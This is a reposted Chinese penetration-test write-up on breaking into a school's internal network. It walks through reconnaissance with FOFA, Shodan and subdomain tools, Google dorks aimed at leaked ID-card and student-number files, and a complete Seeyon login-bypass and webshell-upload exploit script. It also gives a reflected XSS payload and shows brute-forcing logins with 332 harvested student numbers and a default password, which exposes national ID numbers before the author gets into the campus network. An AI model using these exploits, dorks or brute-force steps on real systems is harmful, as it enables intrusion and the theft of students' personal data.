攻防实战,进入某校内网

admin 2025年1月19日17:45:53评论5 views字数 6076阅读20分15秒阅读模式

 

来源:先知社区,作者:尘佑不尘,排版来自:潇湘信安

原文:https://xz.aliyun.com/t/16089

选择目标

进入补天,选择一个目标

攻防实战,进入某校内网
信息收集

真实ip查找

使用
nslookup xxx.xxx.xxx
虽然只有一个ip回显,但是访问后发现,尝试使用https,发现也不行,因为还没有打算跑流量,所以先放下
攻防实战,进入某校内网

使用fofa证书序列号查找功能发现ip

从这里进入
攻防实战,进入某校内网

在详细信息里面找到序列号

攻防实战,进入某校内网

拿百度的来说

攻防实战,进入某校内网

去除冒号,将16进制转换为10进制

攻防实战,进入某校内网

直接使用cert参数进行搜索,可以发现能够找到一些ip

攻防实战,进入某校内网

同理,使用该方法发现真实ip

攻防实战,进入某校内网

攻防实战,进入某校内网

使用shodan直接查找ip段漏洞

shodan search --limit 100 --fields ip_str,port net:xxx.xxx.xxx.0/24 has_vuln:True

参数解释

  • shodan search: 这是基本的搜索命令,用来启动 Shodan 查询。
  • --limit 100: 这个选项告诉 Shodan 返回最多 100 个结果。默认情况下,Shodan 只返回 100 个结果,但是你可以通过这个参数来改变这个数量(取决于你的订阅级别)。
  • --fields ip_str,port: 这个选项指定你想要在结果中包含哪些字段。在这个例子中,ip_str 是指设备的 IP 地址,port 是指开放的服务端口。
  • net:xxx.xxx.xxx.0/24: 这是一个过滤器,用来查找属于某个特定网络段内的设备。xxx.xxx.xxx.0/24 指的是一个 CIDR 表示法的子网掩码,代表的是一个以 xxx.xxx.xxx. 开头的所有 IP 地址。例如,如果你输入 192.168.1.0/24,那么它将搜索所有 192.168.1.* 的 IP 地址。
  • has_vuln:True: 这个过滤器用来查找已知存在漏洞的设备或服务。如果设置为 True,则只返回那些有已知安全漏洞的结果。

得到5条ip回显,进行访问后发现有一个不能使用了

攻防实战,进入某校内网

两个返回

攻防实战,进入某校内网

还有一个倒是正常的,但是图标不正常,是上海某某学校,时间原因就不去验证漏洞是否真的存在了。

最后终于找到一个,不过是cve-2010的,都是关于iis的,嗯……,先跳过吧

攻防实战,进入某校内网

资产测绘

使用quake进行资产测绘,进行二次测绘,域名和备案号,更加全面
攻防实战,进入某校内网

oneforall

使用oneforall进行子域名查找,找到7890条子域名
攻防实战,进入某校内网

存活检测+去除多余子域名

对二次资产测绘得到的数据和oneforall得到的数据进行去除,得到12697条数据,并且使用windfire进行存活检测,得到3437条数据
攻防实战,进入某校内网

这些大部分都是vpn登录页面的子域名,所以进行二次去重,最终得到162条数据

攻防实战,进入某校内网

之后就是丢过去跑jsfind

批量域名得ip,使用shodan搜索漏洞

直接让人工智障写一个脚本,批量url执行nslookup得到去重ip
import reimport subprocessfrom urllib.parse import urlparsedef extract_domain(url):    """从URL中提取域名,并去除端口号"""    parsed_uri = urlparse(url)    # 获取netloc并去除端口号    domain = parsed_uri.netloc.split(':')[0]    return domaindef get_ip_from_nslookup(domain):    """使用nslookup命令获取域名对应的IP地址"""    try:        # 执行nslookup命令并获取输出        nslookup_result = subprocess.check_output(['nslookup', domain], stderr=subprocess.STDOUT, text=True)        # 查找IPv4地址        ipv4_pattern = r'b(?:d{1,3}.){3}d{1,3}b'        ipv4_addresses = []        addresses_started = False        for line in nslookup_result.splitlines():            if 'Address:' in line:                addresses_started = True                match = re.search(ipv4_pattern, line)                if match:                    ipv4_addresses.append(match.group(0))        # 返回最后一个(即第二个)找到的IPv4地址        if len(ipv4_addresses) >= 2:            return ipv4_addresses[1]  # 返回第二个IPv4地址        return None    except subprocess.CalledProcessError as e:        print(f"Failed to resolve domain {domain}: {e.output}")        return Nonedef process_urls(input_file, output_file):    """处理输入文件中的URL,获取IP地址,并保存到输出文件中"""    # 创建一个集合来存储唯一的IP地址    unique_ips = set()    with open(input_file, 'r') as file:        for line in file:            url = line.strip()            if url:                domain = extract_domain(url)                ip_address = get_ip_from_nslookup(domain)                if ip_address:                    unique_ips.add(ip_address)    # 将唯一IP地址写入新文件    with open(output_file, 'w') as file:        for ip in unique_ips:            file.write(ip + 'n')# 使用方法input_file = 'urls.txt'  # 输入文件路径output_file = 'resolved_ips.txt'  # 输出文件路径process_urls(input_file, output_file)

得到,有漏洞的ip,不过不太好利用,先跳过

攻防实战,进入某校内网

Google搜索,得到大量学号

得到一些敏感数据,比如默认密码,老师的电话之类的
谷歌语法如下(直接copy即可)site:.A.B.cn filetype:xls OR filetype:xlsx intext:身份证site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx intext:身份证site:.A.B.cn filetype:xls OR filetype:xlsx "身份证"site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx "身份证"site:.A.B.cn filetype:xls OR filetype:xlsx intitle:身份证site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx intitle:身份证语法解释site:指定域名inurl:用于搜索包含的url关键词的网页intitle:搜索网页标题中的关键字intext:搜索网页正文中的关键字filetype:按指定文件类型即文件后缀名搜索cache:已经删除的缓存网页

关键词可以替换为:

身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|password|联系电话|操作手册|vpn|名单

得到大量的学号泄露,整理了一下,得到332条学号

攻防实战,进入某校内网
攻防实战,进入某校内网

寻找漏洞点

尝试致远漏洞(登陆绕过+任意文件上传)

https://blog.csdn.net/bring_coco/article/details/140336176

攻防实战,进入某校内网
exp:
# coding:utf-8import timeimport requestsimport reimport sysimport randomimport zipfilela = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',           'Content-Type': 'application/x-www-form-urlencoded'}def generate_random_str(randomlength=16):  random_str = ''  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'  length = len(base_str) - 1  for i in range(randomlength):    random_str += base_str[random.randint(0, length)]  return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'webshell_name2 = '../'+webshell_name1def file_zip():    shell = 'test'   ## 替换shell内容    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)    zf.writestr('layout.xml', "")    zf.writestr(webshell_name2, shell)def Seeyon_Getshell(urllist):    url = urllist+'/seeyon/thirdpartyController.do'    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"    response = requests.post(url=url, data=post, headers=la)    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():        cookie = response.cookies        cookies = requests.utils.dict_from_cookiejar(cookie)        jsessionid = cookies['JSESSIONID']        file_zip()        print( '获取cookie成功---->> '+jsessionid)        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='        headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}        post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',                'isEncrypt': "0"}        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)        time.sleep(2)    else:        print('获取cookie失败')        exit()    if filego.text:        fileid1 = re.findall('fileurls=fileurls+","+'(.+)'', filego.text, re.I)        fileid = fileid1[0]        if len(fileid1) == 0:            print('未获取到文件id可能上传失败!')        print('上传成功文件id为---->>:'+fileid)        Date_time = time.strftime('%Y-%m-%d')        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}        getshellurl = urllist+'/seeyon/ajax.do'        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)        time.sleep(1)        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1        shelllist = requests.get(url=webshellurl1)        if shelllist.status_code == 200:            print('利用成功webshell地址:'+webshellurl1)        else:            print('未找到webshell利用失败')def main():    if (len(sys.argv) == 2):        url = sys.argv[1]        Seeyon_Getshell(url)    else:        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")if __name__ == '__main__':    main()
只能上传zip文件,不能解压,失败
攻防实战,进入某校内网

尝试rabbitmq未授权登录

默认账号密码为guest/guest,失败
攻防实战,进入某校内网

xss

反射型xss,发现一个查询框,尝试xss
>"'><script>alert('XSS')</script>

攻防实战,进入某校内网

攻防实战,进入某校内网

学号+弱口令进入,得到身份证

看子域名的js的url时发现一个登录地址,查看操作说明,发现使用了默认密码
攻防实战,进入某校内网
攻防实战,进入某校内网

随便尝试一下,直接登录成功,发现直接显示学号和身份证

攻防实战,进入某校内网

而且登录的验证码有逻辑错误,第一次验证码正确以后都不验证,直接爆破,使用之前得到的332个学号,成功了118条学号

攻防实战,进入某校内网
攻防实战,进入某校内网

登录校园网

和大多数学校一样,校园网是学号+身份证后6位
攻防实战,进入某校内网

随便尝试一下,直接成功,访问了学校的内网

攻防实战,进入某校内网
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):攻防实战,进入某校内网

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月19日17:45:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防实战,进入某校内网https://cn-sec.com/archives/3646600.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息